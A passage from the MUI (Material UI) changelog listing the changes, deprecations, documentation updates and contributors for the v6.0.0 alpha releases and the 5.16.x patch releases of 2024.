@ChronicusUA\n- Remove remaining IE11 code (#42283) @DiegoAndai\n- [Modal] Deprecate `components` and `componentsProps` (#42469) @DiegoAndai\n- [Popover] Migrate useSlotProps to useSlot (#42369) @sai6855\n- [useMediaQuery] Remove unused useMediaQueryTheme (#42367) @aarongarciah\n\n### `@mui/system@6.0.0-alpha.10`\n\n- Remove IE11 code (#42436) @DiegoAndai\n\n### Docs\n\n- Reflect Base UI and MUI System in a different repository @oliviertassinari\n- Update twitter.com to x.com @oliviertassinari\n- Simplify Example projects page @oliviertassinari\n- [icons] Update README and docs page (#41938) @danilo-leal\n- [material-ui] Add changelog section to the design kits page (#42449) @danilo-leal\n- [material-ui] Fix sentence in the All components page (#42336) @danilo-leal\n- [material-ui] Update Figma design kit doc redirect link (#42448) @danilo-leal\n- [system] Add \"dynamic values\" section to sx prop page (#42239) @aarongarciah\n\n### Core\n\n- [docs-infra] Update the OG card image design (#42470) @danilo-leal\n- [docs-infra] Add small design polish (#42455) @danilo-leal\n- [docs-infra] Update the Material logo + add copy functionality (#42435) @danilo-leal\n\nAll contributors of this release in alphabetical order: @aarongarciah, @ChronicusUA, @danilo-leal, @DiegoAndai, @erezstmn-doit, @oliviertassinari, @sai6855\n\n## 6.0.0-alpha.9\n\n<!-- generated comparing v6.0.0-alpha.8..next -->\n\n_May 29, 2024_\n\nA big thanks to the 23 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 `CssVarsProvider` and `extendTheme` are now stable (#42246) @siriwatknp\n\n### `@mui/material@6.0.0-alpha.9`\n\n- [AlertTitle] Enable extending Typography props (#42269) @lucasgmelo\n- [AvatarGroup] deprecate `componentsProps` for v6 (#42122) @lhilgert9\n- [Grid] Deprecate `wrap` prop (#42363) @fedirjh\n- [ListItem] Document `*Component` and `*Props` props deprecations (#42263) @aarongarciah\n- [ListItem] Deprecate ListItem's components and componentsProps (#42219) @aarongarciah\n- [ListItemSecondaryAction] Deprecate component (#42251) @aarongarciah\n- Stabilize `CssVarsProvider` and `extendTheme` (#42246) @siriwatknp\n- [Popper] Deprecate components and componentProps props for v6 (#42111) @ChronicusUA\n- [responsiveFontSizes] Handled undefined variants (#42412) @brijeshb42\n- [Slider] Fix wrong CSS value (#42370) @mnajdova\n- [Tooltip] Deprecate components and componentProps props for v6 (#42107) @ChronicusUA\n\n### `@mui/system@6.0.0-alpha.9`\n\n- [createStyled] Intercept `ownerState` coming from `props` and `ownerState` (#42358) @DiegoAndai\n\n### `@mui/codemod@6.0.0-alpha.9`\n\n- Add `sx` prop for v6 migration (#42153) @siriwatknp\n- Add codemod for removing system props (#42282) @siriwatknp\n\n### Docs\n\n- Remove unused images (#42324) @danilo-leal\n- Add Pigment CSS and Base UI logos SVGs (#42322) @danilo-leal\n- [joy-ui] Fix template responsiveness (#42422) @j4marcos\n- [material-ui] Add the Pashto locale (#42244) @sayoubiaf\n- [material-ui] Remove duplicate Design Kits page (#42338) @danilo-leal\n- [material-ui] Document callback to access theme in GlobalStyles (#42257) @aarongarciah\n- [material-ui] Add minor modifications to the Vertical stepper demo (#42342) @mihilt\n- [material-ui][Tabs] Improve the Basic Tabs demo (#42374) @MatheusEli\n- [pigment-css] Polish redirection mention @oliviertassinari\n\n### Core\n\n- [blog] Add fixes and clean ups to the Blog page (#42311) @danilo-leal\n- [blog] Add the \"Product\" tag to the Pigment CSS post (#42365) @danilo-leal\n- [code-infra] Simplify .stylelintrc.js @oliviertassinari\n- [code-infra] Fix stylelint locally (#42411) @oliviertassinari\n- [code-infra] Run corepack enable on all CI jobs (#42331) @Janpot\n- [code-infra] Create examples ESLint rule (#42170) @oliviertassinari\n- [core] Apply React 19 type changes that don't require upcoming `@types/` packages (#42346) @DiegoAndai\n- [core] Remove `react-swipeable-views-utils` package from docs (#42378) @ZeeshanTamboli\n- [core] Update `@testing-library/react` and `@testing-library/dom` packages (#42349) @ZeeshanTamboli\n- [core] Remove `@types/prettier` package (#42339) @ZeeshanTamboli\n- [core] Remove `WyW-in-JS` from Renovate config (#42335) @ZeeshanTamboli\n- [docs-infra] Split feedback channels per product (#42413) @alexfauquette\n- [docs-infra] Avoid cryptic errors when tests don't exist (#42356) @Janpot\n- [docs-infra] Make menu styles consistent (#42387) @danilo-leal\n- [docs-infra] Display deprecation messages in API pages (#42352) @aarongarciah\n- [docs-infra] Standardize API pages Alert styles (#42386) @danilo-leal\n- [docs-infra] Fix Toolpad Core API links (#42362) @apedroferreira\n- [docs-infra] Tigthen up the header design (#42180) @danilo-leal\n- [docs-infra] Add Toolpad to muiNpmOrgs for codesandbox demos (#42316) @Janpot\n- [docs-infra] Allow JSDoc tags (#42337) @aarongarciah\n- [test] Remove `userAgent` override in `jsdom` env (#42344) @cherniavskii\n- [utils] Fix GitHub-reported prototype pollution vulnerability in `deepmerge` (#41652) @tjcouch-sil\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @apedroferreira, @brijeshb42, @cherniavskii, @ChronicusUA, @danilo-leal, @DiegoAndai, @fedirjh, @j4marcos, @Janpot, @KenanYusuf, @lhilgert9, @lucasgmelo, @MatheusEli, @mihilt, @mnajdova, @nikitaa24, @oliviertassinari, @sayoubiaf, @siriwatknp, @tjcouch-sil, @ZeeshanTamboli\n\n## 6.0.0-alpha.8\n\n<!-- generated comparing v6.0.0-alpha.7..next -->\n\n_May 21, 2024_\n\nA big thanks to the 7 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@6.0.0-alpha.7`\n\n- [material-ui] Filter only valid theme palette for generating styles (#42147) @siriwatknp\n- [material-ui] Remove UMD bundle (#42172) @ZeeshanTamboli\n- [material-ui][TextField] Deprecate `*Props` props (#42062) @DiegoAndai\n\n### Docs\n\n- [docs] Remove Base UI from the README (#42307) @danilo-leal\n- [docs][material-ui] Fix typo in style interoperability with Tailwind CSS docs (#42279) @ZeeshanTamboli\n- [docs][material-ui] Add supported browsers section to migration guide (#42194) @DiegoAndai\n- [docs][material-ui][Pagination] Clarify pagination `page` prop API (#42220) @Mandar-Pandya\n\n### Core\n\n- [blog] Update blog post OG image (#42270) @danilo-leal\n- [blog] Update Pigment CSS post (#42266) @danilo-leal\n- [docs] Remove LocalMonero (#42224) @oliviertassinari\n- [docs-infra] Fix keyboard navigation on page tabs (#42152) @danilo-leal\n- [code-infra] Remove raw-loader (#42275) @Janpot\n- [core] Remove outdated Babel plugins (#42140) @ZeeshanTamboli\n- [core] Fix a few more key spread issues (#42168) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @danilo-leal, @DiegoAndai, @Janpot, @Mandar-Pandya, @oliviertassinari, @siriwatknp, @ZeeshanTamboli\n\n## 6.0.0-alpha.7\n\n<!-- generated comparing v6.0.0-alpha.6..next -->\n\n_May 16, 2024_\n\nA big thanks to the 14 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.7`\n\n- [Autocomplete] Deprecate `componentsProps` props (#42179) @lhilgert9\n- [Autocomplete] Improve design when there's a start adornment for small autocomplete (#41781) @TahaRhidouani\n- [Autocomplete] deprecate `*Component` and `*Props` for v6 (#41875) @lhilgert9\n- [CircularProgress] Deprecate composed classes (#42076) @sai6855\n- [ToggleButtonGroup] Add missing `selected` class in ToggleButtonGroupClasses type (#42243) @tarunrajput\n\n### `@mui/codemod@6.0.0-alpha.6`\n\n- [Divider] Only apply codemod if light prop is present (#42098) @DiegoAndai\n\n### Docs\n\n- Fix 301 to Figma @oliviertassinari\n- Fix use of deprecated React API (#42118) @oliviertassinari\n- Remove the Base notification (#42191) @danilo-leal\n- [material-ui] Improve descriptions for deprecated props (#42221) @aarongarciah\n- [material-ui] Fix typo in composition docs (#42195) @aarongarciah\n\n### Core\n\n- [blog] Introducing Pigment CSS blog post (#42198) @samuelsycamore\n- [core] Remove confusing comment @oliviertassinari\n- [core] Match other repositories and convention @oliviertassinari\n- [core] Fix React 18.3 warnings about spreading keys in the Material UI `Autocomplete` component (#42099) @heath-freenome\n- [core] Remove unecessary quotes @oliviertassinari\n- [docs-infra] Share code for section title (#42236) @alexfauquette\n- [docs-infra] Limit the copy button to the visible code block (#42115) @danilo-leal\n- [docs-infra] Make select components with two capital letters (#42004) @alexfauquette\n- [docs-infra][toolpad] Fix Page title and SERP title mismatch (#41919) @bharatkashyap\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @arthurbalduini, @bharatkashyap, @danilo-leal, @DiegoAndai, @heath-freenome, @lhilgert9, @noraleonte, @oliviertassinari, @sai6855, @samuelsycamore, @TahaRhidouani, @tarunrajput\n\n## 6.0.0-alpha.6\n\n<!-- generated comparing v6.0.0-alpha.5..next -->\n\n_May 8, 2024_\n\nA big thanks to the 10 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.6`\n\n- [Chip] Add colorDefault class to chipClasses (#42067) @sai6855\n- Migrate components to support CSS extraction (#42001) @siriwatknp\n- [SpeedDial] Deprecate TransitionComponent (#40698) @harry-whorlow\n\n### `@mui/codemod@6.0.0-alpha.6`\n\n- Add `theme-v6` migration (#42056) @siriwatknp\n\n### `@mui/icons-material@6.0.0-alpha.6`\n\n- Add the Emergency icon (#42080) @danilo-leal\n\n### Docs\n\n- [autocomplete] Fix duplicate autocomplete id (#42086) @oliviertassinari\n- Fix SEO redirection issues @oliviertassinari\n- [material-ui] Fix broken link (#42142) @aarongarciah\n- [material-ui][docs] Fix link on the Sync page (#42088) @danilo-leal\n\n### Core\n\n- [blog] Shorten title to fit @oliviertassinari\n- [blog] Update Sync post OG image (#42114) @danilo-leal\n- [blog] A few tweaks in introducing-sync-plugin (#42092) @oliviertassinari\n- [code-infra] Add canary release scripts (#41949) @michaldudak\n- [code-infra] Move ComponentLinkHeader to @mui/docs (#42061) @Janpot\n- [code-infra] Bump node image used by CI in docker (#42079) @LukasTy\n- [core] Restrict import path with ESLint (#41970) @oliviertassinari\n- [docs-infra] Add design and formatting improvements (#42063) @danilo-leal\n- [docs-infra] Fix HTML structure violations (#42085) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @aarongarciah, @danilo-leal, @harry-whorlow, @Janpot, @joserodolfofreitas, @LukasTy, @michaldudak, @oliviertassinari, @sai6855, @siriwatknp\n\n## 6.0.0-alpha.5\n\n<!-- generated comparing v6.0.0-alpha.4..next -->\n\n_May 1, 2024_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.5`\n\n- [FormControlLabel] Deprecate `componentsProps` (#41767) @sai6855\n- [PaginationItem] Deprecate components prop (#41777) @sai6855\n- [SvgIcon] Convert to support CSS extraction (#41779) @aarongarciah\n\n### `@mui/base@5.0.0-beta.43`\n\n- [TextareaAutosize] Fix resizing instability (#41638) @ZeeshanTamboli\n\n### Docs\n\n- Fix small SEO issues @oliviertassinari\n- [material-ui] Fix minor spelling error in the \"About the lab\" page (#42073) @ryanhartwig\n- [material-ui] Update Figma plugin name (#41967) @danilo-leal\n- [material-ui][templates] Fix input props attributes in Landing Page template (#42013) @5-tom\n- [system] Update typo on the sx prop page (#42035) @bricker\n\n### Core\n\n- [docs-infra] Clean up branding theme file and improve font-face readibility (#42023) @danilo-leal\n- [docs-infra] Simplify docs demo (#42016) @oliviertassinari\n- [wesbite] Remove duplicate MarkdownElement component (#42028) @danilo-leal\n\nAll contributors of this release in alphabetical order: @5-tom, @aarongarciah, @bricker, @danilo-leal, @mnajdova, @oliviertassinari, @ryanhartwig, @sai6855, @ZeeshanTamboli\n\n## 6.0.0-alpha.4\n\n<!-- generated comparing v6.0.0-alpha.3..next -->\n\n_Apr 24, 2024_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔥 Converted 3 more Material UI components to use Pigment CSS.\n- ℹ️ Pigment CSS now lives in [its own repository](https://github.com/mui/pigment-css)! From now on, all future development will happen there.\n\n### `@mui/material@6.0.0-alpha.4`\n\n- [Checkbox] Convert to support CSS extraction (#41957) @lhilgert9\n- [IconButton] Convert to support CSS extraction (#41850) @gijsbotje\n- [Radio] Convert to support CSS extraction (#41840) @lhilgert9\n- [Typography] Fix ownerState prop placement (#41903) @sai6855\n- Generate typography tokens (#41703) @siriwatknp\n- Move typography CSS variables to `font` (#42003) @siriwatknp\n- Fix getOverlayAlpha type (#41995) @oliviertassinari\n- Support CSS Extraction using codemod (#41935) @siriwatknp\n\n### `@mui/icons-material@6.0.0-alpha.4`\n\n- [icons] Update the icons package (#41937) @danilo-leal\n\n### Docs\n\n- [material-ui] Remove react-swipeable-views from demos as it's no longer maintained (#41912) @soler1212\n- [material-ui] Add dark theme thumbnails for templates (#41947) @zanivan\n- [material-ui] Remove links and interdependencies from free templates (#41941) @zanivan\n- [material-ui] Add missing backticks to HTML tag in the installation page (#41972) @Miguelrom\n- Fix 301 Toolpad links @oliviertassinari\n- Fix 301 image redirections @oliviertassinari\n\n### Core\n\n- pnpm docs:zipRules && vale sync @oliviertassinari\n- Remove @pigment-css/\\* packages (#41965) @mnajdova\n- [code-infra] Move the HighlightedCode component to @mui/docs (#41859) @Janpot\n- [code-infra] Move the HighlightedCode component to @mui/docs (#41859) @Janpot\n- [code-infra] Make Babel config path configurable in API docs builder (#41999) @michaldudak\n- [docs-infra] Fix flex-shrink pro-plan (#41990) @oliviertassinari\n- [docs-infra] Allow more value uses of MUI (#41706) @oliviertassinari\n- [docs-infra] Move CPU to shared config (#41901) @oliviertassinari\n- [docs-infra] Improve Twitter OG:image (#41860) @oliviertassinari\n- [docs-infra] Adapt docs infra to Base UI docs needs (#41963) @michaldudak\n- [docs-infra] Add demo container design refinements (#41948) @danilo-leal\n- [docs-infra] Use the `getLayout` on the material demo pages (#41936) @alexfauquette\n- [test] Update browser versions in karma config (#42008) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @alexfauquette, @danilo-leal, @gijsbotje, @Janpot, @lhilgert9, @michaldudak, @Miguelrom, @mnajdova, @oliviertassinari, @rluzists1, @sai6855, @siriwatknp, @soler1212, @zanivan, @ZeeshanTamboli\n\n## 6.0.0-alpha.3\n\n<!-- generated comparing v6.0.0-alpha.2..next -->\n\n_Apr 17, 2024_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔥 Converted 5 more Material UI components to use Pigment CSS.\n- 🚀 Added container queries utility to the `@mui/system` package (#41674) @siriwatknp.\n\n### `@mui/material@6.0.0-alpha.3`\n\n- Convert `LinearProgress` to support Pigment CSS (#41816) @siriwatknp\n- [Dialog] Prevent onClick on the root element from being overwritten (#41881) @ryanburr\n- [FloatingActionButton] Convert to support CSS extraction (#41851) @gijsbotje\n- Convert `CircularProgress` to support Pigment CSS (#41776) @siriwatknp\n- [PaginationItem] Convert to support CSS extraction (#41848) @gijsbotje\n- [StepConnector] deprecate composed classes (#41740) @sai6855\n- [StepLabel] Deprecate `StepIconComponent`, `StepIconProps` (#41835) @sai6855\n- [ToggleButton] Convert to support CSS extraction (#41782) @lhilgert9\n- [ToggleButtonGroup] Deprecate composed classes (#41288) @sai6855\n- [Typography] Fix Typography inherit variant styles (#41308) @kealjones-wk\n\n### `@mui/system@6.0.0-alpha.3`\n\n- Add container queries utility (#41674) @siriwatknp\n\n### `@mui/codemod@6.0.0-alpha.3`\n\n- Add styled v6 transformation (#41743) @siriwatknp\n\n### `@mui/joy@5.0.0-beta.36`\n\n- [Button] Disable text highlighting (#41902) @mithun522\n\n### `@pigment-css/react@0.0.7`\n\n- Patch WyW's WeakRef usage (#41909) @DiegoAndai\n- Implement sx transform for system components (#41861) @brijeshb42\n\n### Docs\n\n- [material-ui] Add Connect-related content (#40848) @danilo-leal\n- [material-ui] Fix credit comment typo (#41872) @aarongarciah\n- [material-ui] Remove Data Grid v7 beta callout (#41839) @cherniavskii\n- [material-ui] Add stray design tweaks to free templates (#41696) @zanivan\n- [material-ui] Simplify components styling on templates (#41845) @zanivan\n- [material-ui][Button] Add `onChange` event handler to file upload example (#41863) @aarongarciah\n- [material-ui] Fix import statement in migration guide (#41852) @sai6855\n- Fix 301 redirection @oliviertassinari\n- Fix format git diff regression (#41882) @oliviertassinari\n- Fix small SEO issues @oliviertassinari\n- [pigment-css] Fix README typos (#41870) @MohammadShehadeh\n\n### Core\n\n- Begin removing IE 11-related code (#41709) @iammminzzy\n- [blog] Add post to introduce the Connect plugin (#41763) @danilo-leal\n- [code-infra] Fix require.context with aliases (#41682) @Janpot\n- [code-infra] Allow customizing hooks imports in API docs generator (#41828) @michaldudak\n- [codemod] Add utils for `*Component` and `*Props` props deprecations (#41685) @DiegoAndai\n- Replace bundle size reporter filter (#38979) @Janpot\n- [docs-infra] Make the whole header clickable (#39603) @MoazMirza-13\n- [docs-infra] Improve demo container and related components design (#41827) @danilo-leal\n- [docs-infra] Use edge function for card generation (#41188) (#41836) @alexfauquette\n- [docs-infra] Fix code block layout shift (#41917) @oliviertassinari\n- [docs-infra] Fine-tune the OG card image design (#41862) @danilo-leal\n- [docs-infra] Fix markdown version for material (#41908) @alexfauquette\n- [docs-infra] Support multiple tabs in demos (#40901) @bharatkashyap\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @bharatkashyap, @brijeshb42, @cherniavskii, @danilo-leal, @DiegoAndai, @EyaOuenniche, @gijsbotje, @iammminzzy, @Janpot, @kealjones-wk, @lhilgert9, @magnimarels, @michaldudak, @mithun522, @mnajdova, @MoazMirza-13, @MohammadShehadeh, @oliviertassinari, @ryanburr, @sai6855, @siriwatknp, @zanivan\n\n## 6.0.0-alpha.2\n\n<!-- generated comparing v6.0.0-alpha.1..next -->\n\n_Apr 9, 2024_\n\nA big thanks to the 5 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@6.0.0-alpha.2`\n\n- [typescript][Select] Fix `muiName` property TypeScript error (#41726) @EyaOuenniche\n- [l10n] Fix typo in is-IS locale (#41810) @magnimarels\n\n### `@pigment-css/react@0.0.6`\n\n- [core] Remove `muiName` during eval phase (#41811) @brijeshb42\n\n### `@pigment-css/nextjs-plugin@0.0.6`\n\n- [nextjs] Handle file references passed through imports (#41817) @brijeshb42\n- [nextjs] Allow usage of url() CSS function (#41758) @brijeshb42\n\n### Docs\n\n- [docs] Fix 301 links @oliviertassinari\n- [pigment-css][docs] Fix README typo (#41808) @aarongarciah\n- [pigment-css][docs] Fix output on dynamic styles example (#41805) @aarongarciah\n- [material-ui][docs] Fix Material 3 message typo (#41821) @aarongarciah\n- [material-ui][docs] Add stray design tweaks to free templates (#41696) @zanivan\n\n### Core\n\n- [core] Remove unused files (#41818) @mnajdova\n- [docs-infra] Fix analytics about inline ads (#41474) (#41819) @alexfauquette\n- [docs-infra] Fix drawer performances (#41807) @alexfauquette\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @brijeshb42, @EyaOuenniche, @oliviertassinari\n\n## 6.0.0-alpha.1\n\n<!-- generated comparing v6.0.0-alpha.0..next -->\n\n_Apr 5, 2024_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔥 Converted 3 more Material UI components to use Pigment CSS. Current progress is 36%!\n- 🚀 Added a spacing CSS variable to the Material UI and Joy UI themes.\n- 💫 Added 3 redesigned free Material UI templates: [Sign-in](https://next.mui.com/material-ui/getting-started/templates/sign-in/), [Sign-in side](https://next.mui.com/material-ui/getting-started/templates/sign-in-side/), and [Sign-up](https://next.mui.com/material-ui/getting-started/templates/sign-up/).\n\n### `@mui/material@6.0.0-alpha.1`\n\n- [AppBar] Convert to support CSS extraction (#41247) @mnajdova\n- [Badge] Deprecate components and componentsProps (#41655) @skmanoj322\n- [Button] Convert to support CSS extraction (#41378) @siriwatknp\n- [ButtonGroup] Convert to support CSS extraction (#41666) @zanivan\n- [RadioGroup] Apply classnames (#41610) @ZeeshanTamboli\n- [Slider] Move palette styles to the bottom (#41676) @siriwatknp\n- Add the `spacing` theme token (#40224) @siriwatknp\n\n### `@mui/system@6.0.0-alpha.1`\n\n- Add the `spacing` theme token to be used in `theme.spacing()` (#40224) @siriwatknp\n\n### `@mui/codemod@6.0.0-alpha.1`\n\n- [codemod] Setup v6 codemod structure (#41668) @DiegoAndai\n\n### `@mui/lab@6.0.0-alpha.1`\n\n- [TabPanel] Add keepMounted prop to match Joy UI (#41651) @ppaskaris-plooto\n\n### `@mui/joy@5.0.0-beta.34`\n\n- Add `spacing` theme token (#40224) @siriwatknp\n\n### `@pigment-css/react@0.0.5`\n\n- Improve sx prop support (#41589) @brijeshb42\n- Fix Emotion styled error (#41699) @siriwatknp\n- Fix propTypes removal during eval stage (#41695) @brijeshb42\n- Fix props forwarding (#41688) @siriwatknp\n- Fix sx prop transformation on Box (#41705) @brijeshb42\n\n### `@pigment-css/vite-plugin@0.0.5`\n\n- Use constant filename for pigment styles (#41667) @brijeshb42\n\n### `@pigment-css/nextjs-plugin@0.0.5`\n\n- Add missing RTL implementation (#41751) @brijeshb42\n\n### Docs\n\n- [pigment-css] Update README.md installation to use the next tag (#41649) @mnajdova\n- [pigment-css] Add \"Building design system components\" guide with Pigment CSS (#41635) @siriwatknp\n- Continue migration of Base UI to sperate repository @oliviertassinari\n- Stick to one way to write IE 11 @oliviertassinari\n- Fix typo in CONTRIBUTING.md (#41670) @adriancuadrado\n- Drop IE 11 official support (#41611) @iammminzzy\n- [material-ui] Fix typo on the Accordion page (#41687) @connorshea\n- [pigment-css] Add small edits on the README (#41646) @danilo-leal\n- [pigment-css] Edit the example app's README files (#41639) @danilo-leal\n\n### Core\n\n- [code-infra] Move BrandingProvider/brandingTheme/InfoCard to @mui/docs (#41206) @Janpot\n- [core] Automate cherry-pick of PRs from `next` -> `master` (#41741) @aarongarciah\n- [core] Update the prettier script to use the next branch (#41637) @mnajdova\n- [docs-infra] Skip loading source for non-editable modules (#41588) @bharatkashyap\n- [docs-infra] Vale rule for M3 (#41737) @oliviertassinari\n- [docs-infra] Allows to remove edit button (#41702) @alexfauquette\n- [pigment-css][examples] Add example project with Remix (#41700) @brijeshb42\n- [examples] Update MUI's packages to the next version (#41701) @mnajdova\n- [material-ui] Refine the Sign-in and Sign-up templates (#41192) @zanivan\n- [test] Add test to display options provided to the options prop even if loading is true. (#41675) @ZeeshanTamboli\n- [blog] Refresh the design slightly (#41697) @danilo-leal\n\nAll contributors of this release in alphabetical order: @aarongarciah, @adriancuadrado, @alexfauquette, @bharatkashyap, @brijeshb42, @connorshea, @danilo-leal, @DiegoAndai, @iammminzzy, @Janpot, @JCQuintas, @levigunz, @mnajdova, @oliviertassinari, @ppaskaris-plooto, @siriwatknp, @skmanoj322, @zanivan, @ZeeshanTamboli\n\n## 6.0.0-alpha.0\n\n<!-- generated comparing v5.15.14..next -->\n\n_Mar 26, 2024_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔥 Converted 10+ Material UI components to support static CSS extraction\n- ⬅️ Added RTL support in Pigment CSS (#41570) @brijeshb42\n\n### `@mui/material@6.0.0-alpha.0`\n\n- [BottomNavigation] Convert to support CSS extraction (#41612) @aacevski\n- [AvatarGroup] Convert to support CSS extraction (#41485) @zanivan\n- [Backdrop] Convert to support CSS extraction (#41581) @aacevski\n- [Breadcrumbs] Convert to support CSS extraction (#41496) @aacevski\n- [Card] Convert to support CSS extraction (#41580) @aacevski\n- [Divider] Convert to support CSS extraction (#41366) @sai6855\n- [FormControl] Convert to support CSS extraction (#41613) @aacevski\n- [FormGroup] Convert to support CSS extraction (#41614) @aacevski\n- [MobileStepper] Convert to support CSS extraction (#41533) @aacevski\n- [Modal] Support CSS extraction (#41483) @sai6855\n- [Popover] Convert to support CSS extraction (#41564) @aacevski\n- [Stepper] Convert to support CSS extraction (#41546) @aacevski\n- [Autocomplete] Display options provided to the `options` prop even if loading is true (#41634) @nekoya\n- [Backdrop] Deprecate TransitionComponent (#40677) @harry-whorlow\n- [ButtonGroup] Deprecate composed classes (#41259) @sai6855\n- [StepLabel] Deprecate `componentProps` prop (#41321) @sai6855\n- [Chip] Convert to support CSS extraction (#41592) @DiegoAndai\n\n### `@pigment-css/react@0.0.4`\n\n- Fix evaluation of undefined variables (#41569) @siriwatknp\n- Fix react-modal demos location (#41560) @sai6855\n- [react] RTL Support (#41570) @brijeshb42\n\n### `@mui/system@6.0.0-alpha.0`\n\n- [core] Standardize index pattern (#41574) @DiegoAndai\n- Fix typo to avoid infinite recursion in function call (#41616) @michael-land\n- Move stylesheet generator to `extendTheme` (#41446) @siriwatknp\n\n### Docs\n\n- [joy-ui] Refresh the marketing example on the Color Inversion page (#41497) @cipherlogs\n- [material-ui] Add v5 to v6 migration guide (#41561) @DiegoAndai\n- [system] Add v5 to v6 migration guide (#41575) @DiegoAndai\n- [material-ui][Slider] Remove `valueLabelFormat` from restricted values demo so that the tooltip thumb label displays the same as the value text (#41567) @StylesTrip\n- [pigment-css] Update the RTL section on the readme (#41576) @danilo-leal\n\n### Core\n\n- [blog] Update the callout (#41645) @cherniavskii\n- [blog] Link to Romain's blog post in MUI X v7 announcement post (#41640) @cherniavskii\n- [blog] Blog post with MUI X v7.0.0 annoucement (#41563) @joserodolfofreitas\n- [blog] Add post about remote (#41565) @danilo-leal\n- [core] Restore the pnpm-lock.yaml (#41643) @mnajdova\n- [core] Fix failing CI steps (#41636) @mnajdova\n- [core] Update browser support versions (#41568) @siriwatknp\n- [core] Add instructions to deploying docs guide (#41582) @DiegoAndai\n- [core] Add comment explaining the frequency of no-response action runs (#41555) @michaldudak\n- [core] Init the next branch (#41552) @mnajdova\n- [core] Lower the frequency of no-response action runs (#41553) @michaldudak\n- [core] Update peerDependencies ranges to include v6 packages (#41662) @michaldudak\n- [core] Run pnpm dedupe (#41658) @michaldudak\n- [core] Fix dedupe check (#41657) @Janpot\n- [pigment-css][demo] Add index page for material-ui (#41577) @brijeshb42\n- [pigment-css][demo] Remove app specific pnpm workspace (#41393) @brijeshb42\n- [docs] Add notification for MUI X v7 blog post (#41587) @cherniavskii\n- [docs] MUI X v7 blog post annoucement followup (#41601) @joserodolfofreitas\n- [docs] Update the installation guides to use the next tag (#41558) @mnajdova\n- [docs][material-ui] Fix typo in CSS theme variables customization (#41632) @ZeeshanTamboli\n- [material-ui][docs] Remove deleted page from the sidenav (#41594) @danilo-leal\n\nAll contributors of this release in alphabetical order: @aacevski, @brijeshb42, @cherniavskii, @cipherlogs, @danilo-leal, @DiegoAndai, @harry-whorlow, @Janpot, @joserodolfofreitas, @michael-land, @michaldudak, @mnajdova, @nekoya, @sai6855, @siriwatknp, @StylesTrip, @zanivan, @ZeeshanTamboli\n\n## 5.16.7\n\n<!-- generated comparing v5.16.6..master -->\n\n_Aug 9, 2024_\n\nA big thanks to the 3 contributors who made this release possible.\n\n### `@mui/material@5.16.7`\n\n- [material-ui][mui-system] Add support for version runtime checks (#43233) @DiegoAndai\n\n### Docs\n\n- [docs] Fix 301 @oliviertassinari\n\n### Core\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @oliviertassinari, @zanivan\n\n## 5.16.6\n\n<!-- generated comparing v5.16.5..master -->\n\n_Jul 30, 2024_\n\nA big thanks to the 5 contributors who made this release possible.\n\n### `@mui/material@5.16.6`\n\n- [Divider] Enable borderStyle enhancement in divider with children (#43059) @anuujj\n\n### Docs\n\n- [material-ui][Card] Update CardMedia description (#43121) @shahzaibdev1\n- [material-ui] Replace deprecated `<ListItem button/>` with `ListItemButton` component in routing libraries list example (#43114) @aliharis99\n- [material-ui][Snackbar] Improve close `reason` type in demos (#43105) @sai6855\n\n### Core\n\n- [code-infra] Use the same CI names on master & next (#43064) @mnajdova\n\nAll contributors of this release in alphabetical order: @aliharis99, @anuujj, @mnajdova, @sai6855, @shahzaibdev1\n\n## 5.16.5\n\n<!-- generated comparing v5.16.4..master -->\n\n_Jul 25, 2024_\n\nA big thanks to the 4 contributors who made this release possible.\n\n### `@mui/utils@5.16.5`\n\n- [utils] Add dependency to @mui/types (@mnajdova) (#43047) @mnajdova\n\n### Docs\n\n- [material-ui][joy-ui][Autocomplete] Fix `Hint` demo (@ManthanGajjar) (#43039) @ManthanGajjar\n- Fix CHANGELOG convention @oliviertassinari\n- [material-ui] Fix broken image links in blog template on master branch (#42969) @navedqb\n\nAll contributors of this release in alphabetical order: @ManthanGajjar, @mnajdova, @navedqb, @oliviertassinari\n\n## 5.16.4\n\n<!-- generated comparing v5.16.3..master -->\n\n_Jul 16, 2024_\n\nA big thanks to the 1 contributor who made this release possible.\n\n### `@mui/material@5.16.4`\n\n- Fix wrong import in Popover types (#42967) @mnajdova\n\nAll contributors of this release in alphabetical order: @mnajdova\n\n## 5.16.3\n\n<!-- generated comparing v5.16.2..master -->\n\n_Jul 16, 2024_\n\nA big thanks to the 3 contributors who made this release possible.\n\n### `@mui/material@5.16.3`\n\n- [material] Add missing dependency (#42959) @mnajdova\n\n### Docs\n\n- [material-ui][Autocomplete] Add instructions about `autosuggest-highlight` dependency (#42953) @HoFa1997\n- Move feedback from Canny to GitHub @oliviertassinari\n\nAll contributors of this release in alphabetical order: @HoFa1997, @mnajdova, @oliviertassinari\n\n## 5.16.2\n\n<!-- generated comparing v5.16.1..master -->\n\n_Jul 16, 2024_\n\nA big thanks to the 2 contributors who made this release possible.\n\n### `@mui/material@5.16.2`\n\n- [material] Remove dependency to @mui/base (@mnajdova) (#42917) @mnajdova\n\n### Core\n\nAll contributors of this release in alphabetical order: @mnajdova, @oliviertassinari\n\n## 5.16.1\n\n_Jul 11, 2024_\n\nA big thanks to the 4 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚛️ All packages, including Material UI, are now compatible with React 18.3.1\n\n### `@mui/material@5.16.1`\n\n- [AppBar] Fix inherit color is inconsistent between ThemeProvider and 